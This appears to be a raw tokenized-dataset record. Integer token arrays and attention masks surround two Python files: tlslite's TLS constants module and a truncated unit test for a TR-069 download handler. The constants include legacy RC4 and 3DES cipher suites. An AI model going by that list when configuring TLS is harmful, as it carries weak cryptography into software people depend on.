267, 3728, 275, 4090, 14, 739, 8, 4604, 63, 890, 9, 267, 340, 3728, 26, 288, 1995, 3728, 267, 587, 26, 288, 2059, 421, 199, 318, 512, 2262, 1905, 63, 1661, 8, 1661, 304, 272, 408, 272, 1432, 376, 6122, 1314, 8732, 83, 2410, 1924, 272, 8494, 14, 961, 883, 7981, 21819, 2462, 14664, 4255, 14, 339, 520, 635, 2740, 26, 376, 6122, 370, 4816, 272, 408, 272, 862, 26, 267, 367, 3728, 315, 2740, 26, 288, 9435, 8, 16, 9, 288, 1995, 3728, 272, 871, 2186, 465, 2329, 26, 267, 543, 32763, 14, 2117, 63, 460, 63, 20614, 63, 1971, 837, 288, 1499, 275, 485, 906, 480, 547, 26, 512, 2262, 1905, 63, 1661, 1919, 450, 83, 531, 450, 2329, 288, 5051, 14, 705, 8, 1328, 9, 421, 199, 318, 512, 2262, 1905, 63, 739, 8, 2592, 304, 272, 408, 272, 20322, 282, 570, 5872, 1159, 1586, 543, 282, 7417, 805, 1314, 8732, 83, 272, 2410, 1924, 1586, 14, 961, 883, 7981, 21819, 2462, 14664, 4255, 14, 339, 520, 635, 6111, 26, 282, 570, 5872, 370, 4816, 272, 408, 272, 347, 1586, 2324, 2031, 589, 304, 267, 754, 275, 6111, 14, 739, 2031, 589, 9, 267, 9435, 8, 16, 9, 267, 372, 754, 272, 372, 1586, 2324, 421, 199, 4283, 63, 1439, 1938, 63, 5670, 540, 63, 10960, 63, 4305, 275, 25956, 2025, 1138, 1651, 221, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dentaku65/pelisalacarta
python/main-classic/lib/gdata/tlslite/constants.py
279
7476
"""Constants used in various places.""" class CertificateType: x509 = 0 openpgp = 1 cryptoID = 2 class HandshakeType: hello_request = 0 client_hello = 1 server_hello = 2 certificate = 11 server_key_exchange = 12 certificate_request = 13 server_hello_done = 14 certificate_verify = 15 client_key_exchange = 16 finished = 20 class ContentType: change_cipher_spec = 20 alert = 21 handshake = 22 application_data = 23 all = (20,21,22,23) class AlertLevel: warning = 1 fatal = 2 class AlertDescription: """ @cvar bad_record_mac: A TLS record failed to decrypt properly. If this occurs during a shared-key or SRP handshake it most likely indicates a bad password. It may also indicate an implementation error, or some tampering with the data in transit. This alert will be signalled by the server if the SRP password is bad. It may also be signalled by the server if the SRP username is unknown to the server, but it doesn't wish to reveal that fact. This alert will be signalled by the client if the shared-key username is bad. @cvar handshake_failure: A problem occurred while handshaking. This typically indicates a lack of common ciphersuites between client and server, or some other disagreement (about SRP parameters or key sizes, for example). @cvar protocol_version: The other party's SSL/TLS version was unacceptable. This indicates that the client and server couldn't agree on which version of SSL or TLS to use. @cvar user_canceled: The handshake is being cancelled for some reason. """ close_notify = 0 unexpected_message = 10 bad_record_mac = 20 decryption_failed = 21 record_overflow = 22 decompression_failure = 30 handshake_failure = 40 no_certificate = 41 #SSLv3 bad_certificate = 42 unsupported_certificate = 43 certificate_revoked = 44 certificate_expired = 45 certificate_unknown = 46 illegal_parameter = 47 unknown_ca = 48 access_denied = 49 decode_error = 50 decrypt_error = 51 export_restriction = 60 protocol_version = 70 insufficient_security = 71 internal_error = 80 user_canceled = 90 no_renegotiation = 100 unknown_srp_username = 120 missing_srp_username = 121 untrusted_srp_parameters = 122 class CipherSuite: TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA = 0x0050 TLS_SRP_SHA_WITH_AES_128_CBC_SHA = 0x0053 TLS_SRP_SHA_WITH_AES_256_CBC_SHA = 0x0056 TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA = 0x0051 TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA = 0x0054 TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA = 0x0057 TLS_RSA_WITH_3DES_EDE_CBC_SHA = 0x000A TLS_RSA_WITH_AES_128_CBC_SHA = 0x002F TLS_RSA_WITH_AES_256_CBC_SHA = 0x0035 TLS_RSA_WITH_RC4_128_SHA = 0x0005 srpSuites = [] srpSuites.append(TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA) srpSuites.append(TLS_SRP_SHA_WITH_AES_128_CBC_SHA) srpSuites.append(TLS_SRP_SHA_WITH_AES_256_CBC_SHA) def getSrpSuites(ciphers): suites = [] for cipher in ciphers: if cipher == "aes128": suites.append(CipherSuite.TLS_SRP_SHA_WITH_AES_128_CBC_SHA) elif cipher == "aes256": suites.append(CipherSuite.TLS_SRP_SHA_WITH_AES_256_CBC_SHA) elif cipher == "3des": suites.append(CipherSuite.TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA) return suites getSrpSuites = staticmethod(getSrpSuites) srpRsaSuites = [] srpRsaSuites.append(TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA) srpRsaSuites.append(TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA) srpRsaSuites.append(TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA) def getSrpRsaSuites(ciphers): suites = [] for cipher in ciphers: if cipher == "aes128": suites.append(CipherSuite.TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA) elif cipher == "aes256": suites.append(CipherSuite.TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA) elif cipher == "3des": suites.append(CipherSuite.TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA) return suites getSrpRsaSuites = staticmethod(getSrpRsaSuites) rsaSuites = [] rsaSuites.append(TLS_RSA_WITH_3DES_EDE_CBC_SHA) rsaSuites.append(TLS_RSA_WITH_AES_128_CBC_SHA) rsaSuites.append(TLS_RSA_WITH_AES_256_CBC_SHA) rsaSuites.append(TLS_RSA_WITH_RC4_128_SHA) def getRsaSuites(ciphers): suites = [] for cipher in ciphers: if cipher == "aes128": suites.append(CipherSuite.TLS_RSA_WITH_AES_128_CBC_SHA) elif cipher == "aes256": suites.append(CipherSuite.TLS_RSA_WITH_AES_256_CBC_SHA) elif cipher == "rc4": suites.append(CipherSuite.TLS_RSA_WITH_RC4_128_SHA) elif cipher == "3des": suites.append(CipherSuite.TLS_RSA_WITH_3DES_EDE_CBC_SHA) return suites getRsaSuites = staticmethod(getRsaSuites) tripleDESSuites = [] tripleDESSuites.append(TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA) tripleDESSuites.append(TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA) tripleDESSuites.append(TLS_RSA_WITH_3DES_EDE_CBC_SHA) aes128Suites = [] aes128Suites.append(TLS_SRP_SHA_WITH_AES_128_CBC_SHA) aes128Suites.append(TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA) aes128Suites.append(TLS_RSA_WITH_AES_128_CBC_SHA) aes256Suites = [] aes256Suites.append(TLS_SRP_SHA_WITH_AES_256_CBC_SHA) aes256Suites.append(TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA) aes256Suites.append(TLS_RSA_WITH_AES_256_CBC_SHA) rc4Suites = [] rc4Suites.append(TLS_RSA_WITH_RC4_128_SHA) class Fault: badUsername = 101 badPassword = 102 badA = 103 clientSrpFaults = range(101,104) badVerifyMessage = 601 clientCertFaults = range(601,602) badPremasterPadding = 501 shortPremasterSecret = 502 clientNoAuthFaults = range(501,503) badIdentifier = 401 badSharedKey = 402 clientSharedKeyFaults = range(401,403) badB = 201 serverFaults = range(201,202) badFinished = 300 badMAC = 301 badPadding = 302 genericFaults = range(300,303) faultAlerts = {\ badUsername: (AlertDescription.unknown_srp_username, \ AlertDescription.bad_record_mac),\ badPassword: (AlertDescription.bad_record_mac,),\ badA: (AlertDescription.illegal_parameter,),\ badIdentifier: (AlertDescription.handshake_failure,),\ badSharedKey: (AlertDescription.bad_record_mac,),\ badPremasterPadding: (AlertDescription.bad_record_mac,),\ shortPremasterSecret: (AlertDescription.bad_record_mac,),\ badVerifyMessage: (AlertDescription.decrypt_error,),\ badFinished: (AlertDescription.decrypt_error,),\ badMAC: (AlertDescription.bad_record_mac,),\ badPadding: (AlertDescription.bad_record_mac,) } faultNames = {\ badUsername: "bad username",\ badPassword: "bad password",\ badA: "bad A",\ badIdentifier: "bad identifier",\ badSharedKey: "bad sharedkey",\ badPremasterPadding: "bad premaster padding",\ shortPremasterSecret: "short premaster secret",\ badVerifyMessage: "bad verify message",\ badFinished: "bad finished message",\ badMAC: "bad MAC",\ badPadding: "bad padding" }
gpl-3.0
[ 624, 22185, 1202, 315, 7750, 9825, 1041, 199, 199, 533, 12904, 804, 26, 272, 671, 6576, 275, 378, 272, 1551, 4198, 80, 275, 413, 272, 13230, 998, 275, 499, 199, 199, 533, 27451, 804, 26, 272, 16509, 63, 1069, 275, 378, 272, 1890, 63, 5006, 275, 413, 272, 1654, 63, 5006, 275, 499, 272, 5897, 275, 4119, 272, 1654, 63, 498, 63, 14197, 275, 3144, 272, 5897, 63, 1069, 275, 4944, 272, 1654, 63, 5006, 63, 4456, 275, 4329, 272, 5897, 63, 4712, 275, 4114, 272, 1890, 63, 498, 63, 14197, 275, 3193, 272, 9158, 275, 3388, 199, 199, 533, 14501, 26, 272, 1570, 63, 9231, 63, 1650, 275, 3388, 272, 10459, 275, 7829, 272, 14305, 275, 6928, 272, 4223, 63, 576, 275, 6546, 272, 1006, 275, 334, 1165, 12, 2025, 12, 1081, 12, 1789, 9, 199, 199, 533, 25762, 4670, 26, 272, 5721, 275, 413, 272, 14294, 275, 499, 199, 199, 533, 25762, 5831, 26, 272, 408, 272, 768, 26781, 4875, 63, 3059, 63, 3088, 26, 437, 12213, 2777, 3405, 370, 20090, 7684, 14, 339, 982, 642, 11058, 5309, 282, 5709, 13, 498, 503, 12765, 48, 14305, 652, 4750, 12060, 272, 9126, 282, 4875, 2505, 14, 221, 2779, 1443, 2597, 6623, 376, 4514, 272, 1125, 12, 503, 2005, 3052, 311, 15663, 543, 314, 666, 315, 7115, 2221, 14, 339, 961, 10459, 911, 506, 2070, 1843, 701, 314, 1654, 340, 314, 12765, 48, 2505, 365, 4875, 14, 221, 2779, 272, 1443, 2597, 506, 2070, 1843, 701, 314, 1654, 340, 314, 12765, 48, 3434, 365, 5809, 370, 314, 272, 1654, 12, 1325, 652, 3181, 1133, 13809, 370, 295, 432, 279, 626, 10572, 14, 339, 961, 10459, 911, 506, 2070, 1843, 701, 314, 1890, 340, 314, 5709, 13, 498, 3434, 365, 272, 4875, 14, 339, 768, 26781, 14305, 63, 5328, 26, 437, 5160, 8920, 1830, 4926, 609, 11124, 14, 339, 961, 13609, 9126, 282, 29098, 402, 2863, 30377, 11650, 3382, 1890, 436, 272, 1654, 12, 503, 2005, 1163, 2153, 24128, 334, 10254, 12765, 48, 2633, 503, 790, 10627, 12, 272, 367, 2893, 680, 339, 768, 26781, 4113, 63, 1023, 26, 710, 1163, 17135, 1159, 7799, 15, 10224, 1015, 1990, 625, 28751, 14, 339, 961, 9126, 626, 314, 1890, 436, 1654, 21554, 1133, 10601, 641, 1314, 1015, 272, 402, 7799, 503, 12213, 370, 675, 14, 339, 768, 26781, 922, 63, 67, 18959, 26, 710, 14305, 365, 3769, 20115, 367, 2005, 4499, 14, 339, 408, 339, 4002, 63, 6814, 275, 378, 272, 10537, 63, 1188, 275, 1616, 272, 4875, 63, 3059, 63, 3088, 275, 3388, 272, 477, 7950, 63, 4892, 275, 7829, 272, 2777, 63, 14108, 275, 6928, 272, 477, 12849, 63, 5328, 275, 4233, 272, 14305, 63, 5328, 275, 6335, 272, 949, 63, 6999, 275, 13385, 327, 21082, 19, 272, 4875, 63, 6999, 275, 5685, 272, 16313, 63, 6999, 275, 11851, 272, 5897, 63, 4964, 7620, 275, 10868, 272, 5897, 63, 16340, 275, 10416, 272, 5897, 63, 5187, 275, 12426, 272, 20282, 63, 5329, 275, 10954, 272, 5809, 63, 696, 275, 9615, 272, 2879, 63, 28180, 275, 12260, 272, 4849, 63, 705, 275, 5238, 272, 20090, 63, 705, 275, 8026, 272, 4843, 63, 23423, 275, 5212, 272, 4113, 63, 1023, 275, 10045, 272, 5261, 12983, 63, 4416, 275, 17245, 272, 5007, 63, 705, 275, 5939, 272, 922, 63, 67, 18959, 275, 9137, 272, 949, 63, 264, 21961, 425, 275, 2948, 272, 5809, 63, 28117, 63, 2473, 275, 13960, 272, 4124, 63, 28117, 63, 2473, 275, 26228, 272, 625, 17549, 63, 28117, 63, 3214, 275, 24557, 199, 199, 533, 29683, 6207, 26, 272, 12213, 63, 32527, 63, 8461, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 221, 275, 378, 88, 25426, 272, 12213, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 275, 378, 88, 383, 2481, 272, 12213, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 275, 378, 88, 32287, 339, 12213, 63, 32527, 63, 8461, 63, 12115, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 275, 378, 88, 383, 2869, 272, 12213, 63, 32527, 63, 8461, 63, 12115, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 275, 378, 88, 32683, 272, 12213, 63, 32527, 63, 8461, 63, 12115, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 275, 378, 88, 383, 1641, 339, 12213, 63, 12115, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 275, 378, 88, 1493, 33, 272, 12213, 63, 12115, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 275, 378, 88, 7432, 38, 272, 12213, 63, 12115, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 275, 378, 88, 32423, 272, 12213, 63, 12115, 63, 9139, 63, 8205, 20, 63, 3933, 63, 8461, 275, 378, 88, 15646, 339, 308, 4599, 24458, 275, 942, 272, 308, 4599, 24458, 14, 740, 8, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 9, 272, 308, 4599, 24458, 14, 740, 8, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 9, 272, 308, 4599, 24458, 14, 740, 8, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 9, 272, 347, 664, 51, 4599, 24458, 8, 27426, 304, 267, 24203, 275, 942, 267, 367, 10830, 315, 30377, 26, 288, 340, 10830, 508, 298, 17499, 3933, 582, 355, 24203, 14, 740, 8, 21967, 6207, 14, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 9, 288, 916, 10830, 508, 298, 17499, 3912, 582, 355, 24203, 14, 740, 8, 21967, 6207, 14, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 9, 288, 916, 10830, 508, 298, 19, 3424, 582, 355, 24203, 14, 740, 8, 21967, 6207, 14, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 9, 267, 372, 24203, 272, 664, 51, 4599, 24458, 275, 12822, 8, 362, 51, 4599, 24458, 9, 339, 308, 4599, 50, 2231, 24458, 275, 942, 272, 308, 4599, 50, 2231, 24458, 14, 740, 8 ]
[ 22185, 1202, 315, 7750, 9825, 1041, 199, 199, 533, 12904, 804, 26, 272, 671, 6576, 275, 378, 272, 1551, 4198, 80, 275, 413, 272, 13230, 998, 275, 499, 199, 199, 533, 27451, 804, 26, 272, 16509, 63, 1069, 275, 378, 272, 1890, 63, 5006, 275, 413, 272, 1654, 63, 5006, 275, 499, 272, 5897, 275, 4119, 272, 1654, 63, 498, 63, 14197, 275, 3144, 272, 5897, 63, 1069, 275, 4944, 272, 1654, 63, 5006, 63, 4456, 275, 4329, 272, 5897, 63, 4712, 275, 4114, 272, 1890, 63, 498, 63, 14197, 275, 3193, 272, 9158, 275, 3388, 199, 199, 533, 14501, 26, 272, 1570, 63, 9231, 63, 1650, 275, 3388, 272, 10459, 275, 7829, 272, 14305, 275, 6928, 272, 4223, 63, 576, 275, 6546, 272, 1006, 275, 334, 1165, 12, 2025, 12, 1081, 12, 1789, 9, 199, 199, 533, 25762, 4670, 26, 272, 5721, 275, 413, 272, 14294, 275, 499, 199, 199, 533, 25762, 5831, 26, 272, 408, 272, 768, 26781, 4875, 63, 3059, 63, 3088, 26, 437, 12213, 2777, 3405, 370, 20090, 7684, 14, 339, 982, 642, 11058, 5309, 282, 5709, 13, 498, 503, 12765, 48, 14305, 652, 4750, 12060, 272, 9126, 282, 4875, 2505, 14, 221, 2779, 1443, 2597, 6623, 376, 4514, 272, 1125, 12, 503, 2005, 3052, 311, 15663, 543, 314, 666, 315, 7115, 2221, 14, 339, 961, 10459, 911, 506, 2070, 1843, 701, 314, 1654, 340, 314, 12765, 48, 2505, 365, 4875, 14, 221, 2779, 272, 1443, 2597, 506, 2070, 1843, 701, 314, 1654, 340, 314, 12765, 48, 3434, 365, 5809, 370, 314, 272, 1654, 12, 1325, 652, 3181, 1133, 13809, 370, 295, 432, 279, 626, 10572, 14, 339, 961, 10459, 911, 506, 2070, 1843, 701, 314, 1890, 340, 314, 5709, 13, 498, 3434, 365, 272, 4875, 14, 339, 768, 26781, 14305, 63, 5328, 26, 437, 5160, 8920, 1830, 4926, 609, 11124, 14, 339, 961, 13609, 9126, 282, 29098, 402, 2863, 30377, 11650, 3382, 1890, 436, 272, 1654, 12, 503, 2005, 1163, 2153, 24128, 334, 10254, 12765, 48, 2633, 503, 790, 10627, 12, 272, 367, 2893, 680, 339, 768, 26781, 4113, 63, 1023, 26, 710, 1163, 17135, 1159, 7799, 15, 10224, 1015, 1990, 625, 28751, 14, 339, 961, 9126, 626, 314, 1890, 436, 1654, 21554, 1133, 10601, 641, 1314, 1015, 272, 402, 7799, 503, 12213, 370, 675, 14, 339, 768, 26781, 922, 63, 67, 18959, 26, 710, 14305, 365, 3769, 20115, 367, 2005, 4499, 14, 339, 408, 339, 4002, 63, 6814, 275, 378, 272, 10537, 63, 1188, 275, 1616, 272, 4875, 63, 3059, 63, 3088, 275, 3388, 272, 477, 7950, 63, 4892, 275, 7829, 272, 2777, 63, 14108, 275, 6928, 272, 477, 12849, 63, 5328, 275, 4233, 272, 14305, 63, 5328, 275, 6335, 272, 949, 63, 6999, 275, 13385, 327, 21082, 19, 272, 4875, 63, 6999, 275, 5685, 272, 16313, 63, 6999, 275, 11851, 272, 5897, 63, 4964, 7620, 275, 10868, 272, 5897, 63, 16340, 275, 10416, 272, 5897, 63, 5187, 275, 12426, 272, 20282, 63, 5329, 275, 10954, 272, 5809, 63, 696, 275, 9615, 272, 2879, 63, 28180, 275, 12260, 272, 4849, 63, 705, 275, 5238, 272, 20090, 63, 705, 275, 8026, 272, 4843, 63, 23423, 275, 5212, 272, 4113, 63, 1023, 275, 10045, 272, 5261, 12983, 63, 4416, 275, 17245, 272, 5007, 63, 705, 275, 5939, 272, 922, 63, 67, 18959, 275, 9137, 272, 949, 63, 264, 21961, 425, 275, 2948, 272, 5809, 63, 28117, 63, 2473, 275, 13960, 272, 4124, 63, 28117, 63, 2473, 275, 26228, 272, 625, 17549, 63, 28117, 63, 3214, 275, 24557, 199, 199, 533, 29683, 6207, 26, 272, 12213, 63, 32527, 63, 8461, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 221, 275, 378, 88, 25426, 272, 12213, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 275, 378, 88, 383, 2481, 272, 12213, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 275, 378, 88, 32287, 339, 12213, 63, 32527, 63, 8461, 63, 12115, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 275, 378, 88, 383, 2869, 272, 12213, 63, 32527, 63, 8461, 63, 12115, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 275, 378, 88, 32683, 272, 12213, 63, 32527, 63, 8461, 63, 12115, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 275, 378, 88, 383, 1641, 339, 12213, 63, 12115, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 275, 378, 88, 1493, 33, 272, 12213, 63, 12115, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 275, 378, 88, 7432, 38, 272, 12213, 63, 12115, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 275, 378, 88, 32423, 272, 12213, 63, 12115, 63, 9139, 63, 8205, 20, 63, 3933, 63, 8461, 275, 378, 88, 15646, 339, 308, 4599, 24458, 275, 942, 272, 308, 4599, 24458, 14, 740, 8, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 9, 272, 308, 4599, 24458, 14, 740, 8, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 9, 272, 308, 4599, 24458, 14, 740, 8, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 9, 272, 347, 664, 51, 4599, 24458, 8, 27426, 304, 267, 24203, 275, 942, 267, 367, 10830, 315, 30377, 26, 288, 340, 10830, 508, 298, 17499, 3933, 582, 355, 24203, 14, 740, 8, 21967, 6207, 14, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3933, 63, 18255, 63, 8461, 9, 288, 916, 10830, 508, 298, 17499, 3912, 582, 355, 24203, 14, 740, 8, 21967, 6207, 14, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 14494, 63, 3912, 63, 18255, 63, 8461, 9, 288, 916, 10830, 508, 298, 19, 3424, 582, 355, 24203, 14, 740, 8, 21967, 6207, 14, 10224, 63, 32527, 63, 8461, 63, 9139, 63, 19, 4448, 63, 37, 1093, 63, 18255, 63, 8461, 9, 267, 372, 24203, 272, 664, 51, 4599, 24458, 275, 12822, 8, 362, 51, 4599, 24458, 9, 339, 308, 4599, 50, 2231, 24458, 275, 942, 272, 308, 4599, 50, 2231, 24458, 14, 740, 8, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ultilix/catawampus
tr/download_test.py
6
20731
#!/usr/bin/python # Copyright 2011 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # unittest requires method names starting in 'test' #pylint: disable-msg=C6409 """Unit tests for download.py.""" __author__ = 'dgentry@google.com (Denton Gentry)' import datetime import shutil import tempfile import time import unittest import google3 import core import download import persistobj mock_http_clients = [] mock_http_downloads = [] mock_installers = [] mock_downloads = [] class MockHttpClient(object): def __init__(self, io_loop=None): self.did_fetch = False self.request = None self.callback = None mock_http_clients.append(self) def fetch(self, request, callback): self.did_fetch = True self.request = request self.callback = callback class MockIoloop(object): def __init__(self): self.timeout = None self.callback = None def add_timeout(self, timeout, callback, monotonic=None): self.timeout = timeout self.callback = callback class MockHttpDownload(object): def __init__(self, url, username=None, password=None, download_complete_cb=None, download_dir=None, ioloop=None): self.url = url self.username = username self.password = password self.download_complete_cb = download_complete_cb self.download_dir = download_dir self.ioloop = ioloop self.did_fetch = False mock_http_downloads.append(self) def fetch(self): self.did_fetch = True class MockInstaller(object): def __init__(self, filename): self.filename = filename self.did_install = False self.did_reboot = False self.file_type = None self.targe_filename = None self.install_callback = None mock_installers.append(self) def install(self, file_type, target_filename, callback): self.did_install = True self.file_type = file_type self.target_filename = target_filename self.install_callback = callback return True def reboot(self): self.did_reboot = True class MockTransferComplete(object): def __init__(self): self.transfer_complete_called = False self.dl = None self.command_key = None self.faultcode = None self.faultstring = None self.starttime = None self.endtime = None def SendTransferComplete(self, dl, command_key, faultcode, faultstring, starttime, endtime, event_code): self.transfer_complete_called = True self.dl = dl self.command_key = command_key self.faultcode = faultcode self.faultstring = faultstring self.starttime = starttime self.endtime = endtime self.event_code = event_code class MockFile(object): def __init__(self, name): self.name = name def _Delta(t): return datetime.timedelta(seconds=t) class DownloadTest(unittest.TestCase): def setUp(self): self.tmpdir = tempfile.mkdtemp() download.INSTALLER = MockInstaller self.done_command_key = None self.old_time = time.time del mock_installers[:] del mock_http_downloads[:] download.DOWNLOAD_CLIENT['http'] = MockHttpDownload download.DOWNLOAD_CLIENT['https'] = MockHttpDownload def tearDown(self): time.time = self.old_time shutil.rmtree(self.tmpdir) del mock_installers[:] del mock_http_clients[:] def mockTime(self): return 123456.0 def QCheckBoring(self, dl, args): """Check get_queue_state() fields which don't change, and return qstate.""" q = dl.get_queue_state() self.assertEqual(q.CommandKey, args['command_key']) self.assertTrue(q.IsDownload) self.assertEqual(q.FileType, args['file_type']) self.assertEqual(q.FileSize, args['file_size']) self.assertEqual(q.TargetFileName, args['target_filename']) return q.State def testSuccess(self): ioloop = MockIoloop() cmpl = MockTransferComplete() time.time = self.mockTime kwargs = dict(command_key='testCommandKey', file_type='testFileType', url='http://example.com/foo', username='testUsername', password='testPassword', file_size=1000, target_filename='testTargetFilename', delay_seconds=99) stateobj = persistobj.PersistentObject(objdir=self.tmpdir, rootname='testObj', filename=None, **kwargs) dl = download.Download(stateobj=stateobj, transfer_complete_cb=cmpl.SendTransferComplete, ioloop=ioloop) self.assertEqual(self.QCheckBoring(dl, kwargs), 1) # 